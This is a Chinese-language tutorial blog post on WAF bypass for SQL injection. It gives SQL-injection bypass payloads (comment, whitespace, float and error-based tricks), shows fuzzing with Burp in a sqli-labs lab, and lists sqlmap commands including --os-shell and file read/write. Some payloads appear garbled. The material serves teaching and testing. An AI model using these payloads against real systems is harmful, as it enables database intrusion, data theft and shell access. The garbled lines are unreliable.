Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >WAF的介绍与WAF绕过原理

WAF的介绍与WAF绕过原理

作者头像
天钧
发布于 2019-11-11 10:27:15
发布于 2019-11-11 10:27:15
5.8K00
代码可运行
举报
文章被收录于专栏:渗透云笔记渗透云笔记
运行总次数:0
代码可运行

WAF 是什么?全称 Web Application Firewall (WEB 应用防护系统),与传统的 Firewall (防火墙) 不同,WAF 针对的是应用层。

安全是一个不断对抗的过程,有防护手段,就有相应的绕过手段。

渗透测试过程中,WAF 是必定会遇到的,如何绕过 WAF 就是一个问题。

WAF 绕过的手段千变万化,分为 3 类

  • 白盒绕过
  • 黑核绕过
  • Fuzz绕过

以下以 SQL 注入过程 绕 WAF 为例列举需要的知识点。

  • 熟练掌握 MySQL函数和语法使用方法
  • 深入了解中间件运行机制
  • 了解 WAF 防护原理及方法

做到这三点,即可做到随心所欲的绕过 WAF 的保护。

白盒绕过

blacklist 大概的意思是对 andor进行过滤,且不论大小写,均替换为空.

如果绕过:

  • 大小写变形:Or,OR,oR
  • 等价替换:and → && ,or → ||
  • ……(例如 OorR)

白盒下的绕过主要针对源码进行审计,分析函数功能,构造特定的包进行绕过。

黑盒绕过

  • 架构层绕过 WAF
    • 寻找源站(针对云 WAF)
    • 利用同网段(绕过防护区域:例如WAF部署在同一网段的出口,使用网段的主机进行攻击,流量不经过WAF 。)
    • 理解边界漏洞(绕过防护区域:例如利用 SSRF 对其内部进行测试)
  • 资源限制角度绕过 WAF
    • POST大 BODY
  • 协议层面绕过 WAF 的检测
    • 请求方式变换:GET 变为 POST
    • Content-Type 变换:application/x-www-form-urlencoded;multipart/form-data;
    • 参数 污染(在服务器交互的过程中,Http 允许 get 或者post 多次传同一个参数值,造成覆盖,配合WAF 解析的先后规则有可能绕过 WAF 的防护)
    • 协议未覆盖绕过 WAF
  • 规则层面的绕过(主要的绕过方式,本课程的重点)

SQL注释符的绕过

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
union/**/select #Level-1
union/*aaaa%01bbs*/select #Level-2
union/*aaaaaaaaaaaaaaaaaaaaaaaa*/select #Level-3
/*!xxx*/ #内联注释

空白符绕过

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/ #MySQL空白符
%09%0A,%0B,%0D,%20 #正则的空白符
union%250Cselect #Example-1 (%25=% %0c=空白符)
union%25A0select #Example-2

函数分割符号

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
concat%2520()
concat/**/()
concat%250c()
concat%250()

浮点数词法解析

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9.0

利用 error-bases进行 SQL 注入(err0r-bases SQL 注入函数容易被忽略)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
extractvalue(1, concat(0x5c,md5(3)))
updatexml(1, concat(0x5d,md5(3)),1); GeometryCollection((select*from(selectlrom(select@@version)f)x)) polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygonO()

MySQL 特殊语法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
MYSQL1nigth Oselect{x table_name}from{x information_schema.tables};

Fuzz绕过

上面的例子我相信你看到这篇文章时基本都失效了,那么如何在实战中找到突破WAF的方式,就需要Fuzz的过程,Fuzz 在软件测试领域,一般指”模糊测试“。

你说了那么多,不就是瞎猫碰死耗子吗?

漏洞对我们来说是未知的,能绕过规则的语句也是未知的,人无法尝试所有的输入,盲目猜测是没有意义且低效。

简单的Fuzz看起来就像是枚举,更为复杂的Fuzz则生成了那些概率极低的偶然事件,而这,就是我们想要的答案。

下面搭建(phpStudy 2018 +某狗)sqli-labs环境进行测试(某狗的CC防护和IP黑名单功能关闭,只开启HTTP防护)。

正常的SQL注入测试流程发现加\'之后报错推测有SQL注入,进一步使用语句测试发现触发WAF,查看拦截日志也能查看到记录。

下面使用Burpsuite 的模块实现Fuzz。这里以在语句中注释符为例。

  • 最基本的:union/**/select
  • 测试引入中间特殊字符:union/*aaa%01bbx*/select
  • 测试注释长度:union/*aaaaaaaaaaaaaaa*/select

设置payload的过程如下,生成字典只用了几个字符。

本地机器线程无所畏惧,很快的结果就出来了。

看到不同长度的响应,有Fuzz出语句了吗?这样的语句不一定能用,如果绕过waf的规则语句无法正确执行,也是没用的。

很遗憾的是我这里最后得到的语句即使过狗也无法正确执行,不然我都就能演示如何过狗呢。我说说后续如何进行的,最后得到的Fuzz结果是一个固定的格式,后续SQL注入语句中将特征进行替换即可。后续可能还会出现一个问题,函数如何绕过,对函数进行变形或者利用中间件解析特性。

有前辈指出,这种Fuzz方式的本质都是对正则的逃逸,仔细想想,不无道理。

WAF是如何防护的?“ WAF基于对http请求的分析,识别恶意行为,执行相关的阻断、记录、放行等”。

WAF如何分析http请求?http是一种文本协议,一般现代WAF采用的是正则表达式做规则,“ 正则表达式的语法和文本协议的复杂逻辑允许替换等价的结构和使用不同的符号表示 , 在创建这些规则时会导致错误。“

而上述的绕过都是WAF的正则无法匹配,错误的进行的放行,导致绕过WAF的发生。

SQLmap的tamper

sqlmap相信不用我多介绍,只需要记得两个选项帮组你记忆。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sqlmap -h #帮助选项
sqlmap -hh #更为详细的帮组选项

常用的是以下语句

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-db
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --current-user
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  -D databasename -T table -C column
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --os-shell
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --sql-shell
sqlmap -u "http://wuhash.ml/Less-1/?id=1"  --file-read
sqlmap -u "http://wuhash.ml/Less-1/?id=1" --file-write 本地文件 --file-dest 目标目录及文件

tamper脚本存放于sqlmap安装目录下,其主要的功能是对payload进行处理以应对不同情况,其中也包括绕过WAF。笔者写下此文时,内置了116个脚本,实际上tamper脚本是一段python脚本,任意打开一段脚本,可以看到对payload进行的处理过程,脚本的核心功能为tamper函数。

使用sqlmap –list-tampers查看tamper的描述信息。

下面以sqli-labs的Less-28关为例,直接对Less-28进行sqlmap会发现无法注入,打开Less-28的源码可以看到接受的参数ID在传入SQL语句之前,经过了blacklist的处理,而blacklist的功能为对一些符号替换为空,这些符号包括(/、*、–、#、space、union+空白符+select的组合)。

打开一份tamper,复制一份,在原有的基础上进行修改,最终写出的tamper脚本如下,是不是有人黑人问号脸?

注意写出tamper的前提是已经构造出绕过,写出tamper只是将这个技巧工程化。

如何构造出绕过呢?这有回到课程一开始的话题,这里很简单,针对源码构造即可。

tamper的功能为将“unino select ”替换为“union all select”,将空白符替换为”%0a”,用以规避blacklist对参数进行的处理。

再次测试,跟上tamper脚本名,很顺利的检测到注入点。

总结

这是两节课程的笔记,这一章的绕WAF技巧都可以总结为对payload进行变形,如何变形才能成功的绕过才是关键的问题。

从防御者的角度来说,基于正则的WAF已经不足以防护,这是正则本身的缺陷,市面上已经宣称基于流量的机器学习、人工智能技术的下一代WAF出现,笔者没有工作在一线,未曾接触。

相信即使出现这样的产品,也没有绝对的安全,任何一个脆弱点带来的攻击面都会突破整个系统。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
SqlMap 的高级用法!
使用 sqlmap检测漏洞时,tamper脚本是绕过 Web 应用防火墙(WAF)、过滤规则或特殊编码的关键工具。以下是一些常见的 tamper搭配,以及如何高效利用它们,结合实际场景进行说明。内容基于 sqlmap的常见用法和社区实践,避免涉及任何非法操作。
信安之路
2025/05/23
690
SqlMap 的高级用法!
Fuzz自动化Bypass软WAF姿势
0×00 前言 在我刚接触安全这块时候遇到注入有WAF的网站时候无从下手,寻找各种有关绕过waf的文章,在网页浏览器上使用SQL语句为了绕过WAF变了个法加了些特殊的数字注释符就懵了,当然最后经过精心构造的SQL语句,数据库必须也得能识别并执行。本文主要介绍如何在本地安装软WAF并使用Python写的Fuzz脚本自动化绕过WAF并结合跑出来的Payload语句绕过安全防护软件。文章写的比较细主要分享下,更多细节方面请参考上篇文章 全方位绕过软WAF攻略。 找一些奇葩的语句还可以执行的,或者自己能构造的,说的
FB客服
2018/02/23
3.2K0
Fuzz自动化Bypass软WAF姿势
sqlmap_修改tamper脚本_绕过WAF并制作通杀0day
第一步:找注入点 进网站先找注入点 ●网站新闻部分都是带参数的 ●这个部分不是伪静态 尝试注入: ?id=1' 报错,不拦截,Access数据库 ?id=1'or'1'like'1 拦截 ?i
HACK学习
2019/08/06
3.7K0
sqlmap_修改tamper脚本_绕过WAF并制作通杀0day
我的wafBypass之道
去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常谈的话题也没什么可写的。
用户1467662
2019/04/19
3K0
我的wafBypass之道
【思路/技术】某大佬的BypassWAF新思路(附脚本)
网上关于安全狗的sql绕过研究,大多数是fuzz绕过的帖子,fuzz方法常常使用注释绕过,涉及到数据库特性,而且广泛用于注释语法的星号(*)可能会被网站自带的防恶意代码模块拦截了,在实践中体验不好。太多fuzz过waf的文章,多数是使用注释绕过,在我看来,所有fuzz绕过,本质就是正则匹配逃逸。
HACK学习
2019/08/05
1.9K0
​带你玩转系列之Sqlmap
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的url的SQL注入漏洞内置很多绕过插件,支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
Khan安全团队
2020/03/19
1.3K0
绕过安全狗进行sql注入(MySQL)
前几天渗透了一个站,由于没有做好善后工作被管理员发现了,再次访问那个站的时候,管理员已经删了大马,装上了网站安全狗(我估计大马应该是安全狗删除的,毕竟那个管理员真的太懒了,我的小马还在,并且居然菜刀还可以连接),为了给这个管理员增强点安全防护意识,我就开始研究起了安全狗的绕过。
tnt阿信
2020/08/05
2.1K0
绕过安全狗进行sql注入(MySQL)
[工具使用]SqlMap
一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
李鹏华
2024/03/12
1960
[工具使用]SqlMap
常用的渗透的测试工具-SQLMap
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库有: MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB。 SQLMap采用了一下5种独特的SQL注入技术:
Baige
2022/03/22
1K0
常用的渗透的测试工具-SQLMap
见招拆招:绕过WAF继续SQL注入常用方法
Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说WAF bypass是啥。 WAF呢,简单说,它是一个Web应用程序防火墙,其功能呢是用于过滤某些恶意请求与某些关键字。WAF仅仅是一个工具,帮助你防护网站来的。但是如果你代码写得特别渣渣,别说WAF帮不了你,就连wefgod都帮不了你…所以不能天真的以为用上WAF你的网站就百毒不侵了。开始正题—- 1>注释符
FB客服
2018/02/02
1.9K0
Fuzz绕过安全狗4.0实现SQL注入
本文使用了burp的intruder模块进行fuzz,并修改了sqlmap工具的tamper脚本,对安全狗进行绕过。
FB客服
2020/05/24
1.8K0
给了一个站点测试,发现有狗,为什么没有网站截图,因为害怕
适用数据库:ALL 作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤 器,例如将select替换为空) 使用脚本前:1 UNION SELECT 2-- 使用脚本后:1 UNIOUNIONN SELESELECTCT 2--
鸿鹄实验室
2021/04/15
9680
给了一个站点测试,发现有狗,为什么没有网站截图,因为害怕
sqlmap自带的tamper你了解多少?
sqlmap 是一款注入神器广为人知,里面的 tamper 常常用来绕过 WAF ,很实用的模块,但是却常常被新手忽略(比如我),今天就整理总结一下 tamper 的用法以及 tamper 的编写
信安之路
2018/08/08
1.3K0
最新SQLMap进阶技术
参数“--level 5”指需要执行的测试等级,一共有5个等级(1~5级),可不加“level”,默认是1级。可以在xml/payloads.xml中看到SQLMap使用的Payload,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解Cookie、XFF等头部注入。当然,5级的运行速度也比较慢。
Ms08067安全实验室
2023/08/18
6020
最新SQLMap进阶技术
Bypass WAF (小白食用)
前言:现在绕过waf手法在网上层出不穷,但是大家好像忘记一个事情就是,思路比方法更有价值,大家对着网上一些手法直接生搬硬套,不在意是不是适合的场景,网上的文章,好像着急的把所有的绕过方法都给你罗列出来。没有传授给你相应的技巧。到最后,小白拿着一堆绕waf的方法却被waf拦在外面。
亿人安全
2024/09/18
2520
Bypass WAF (小白食用)
那些可以绕过WAF的各种特性
在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,甚至绕过安全防御措施进行漏洞利用。
Bypass
2020/03/26
1.7K0
那些可以绕过WAF的各种特性
BypassWAF(小白食用)
前言:现在绕过waf手法在网上层出不穷,但是大家好像忘记一个事情就是,思路比方法更有价值,大家对着网上一些手法直接生搬硬套,不在意是不是适合的场景,网上的文章,好像着急的把所有的绕过方法都给你罗列出来。没有传授给你相应的技巧。到最后,小白拿着一堆绕waf的方法却被waf拦在外面。
红队蓝军
2025/02/12
2450
BypassWAF(小白食用)
从绕过安全狗到编写tamper脚本全过程详解
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被执行,基本上只做一个版本的判断。
网络安全自修室
2021/11/25
1.5K0
从绕过安全狗到编写tamper脚本全过程详解
从SQL注入绕过最新安全狗WAF中学习fuzz
SQL注入并不是很精通,通过实战绕过WAF来进行加强SQL注入能力,希望对正在学习的师傅能有一丝帮助。
用户9691112
2023/05/18
7100
从SQL注入绕过最新安全狗WAF中学习fuzz
全网最全sqli-labs通关攻略(建议收藏)
Sqli-labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞必备靶场环境,玩起来吧!SQLi-LABS项目地址:https://github.com/Audi-1/sqli-labs,经过美化的项目地址:https://github.com/himadriganguly/sqlilabs,可以使用phpstudy或者web环境直接搭建运行,具体搭建步骤可以参考另一篇文章SQL注入靶场之sqlilabs搭建指南
网络安全自修室
2021/11/25
24.6K0
全网最全sqli-labs通关攻略(建议收藏)
相关推荐
SqlMap 的高级用法!
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验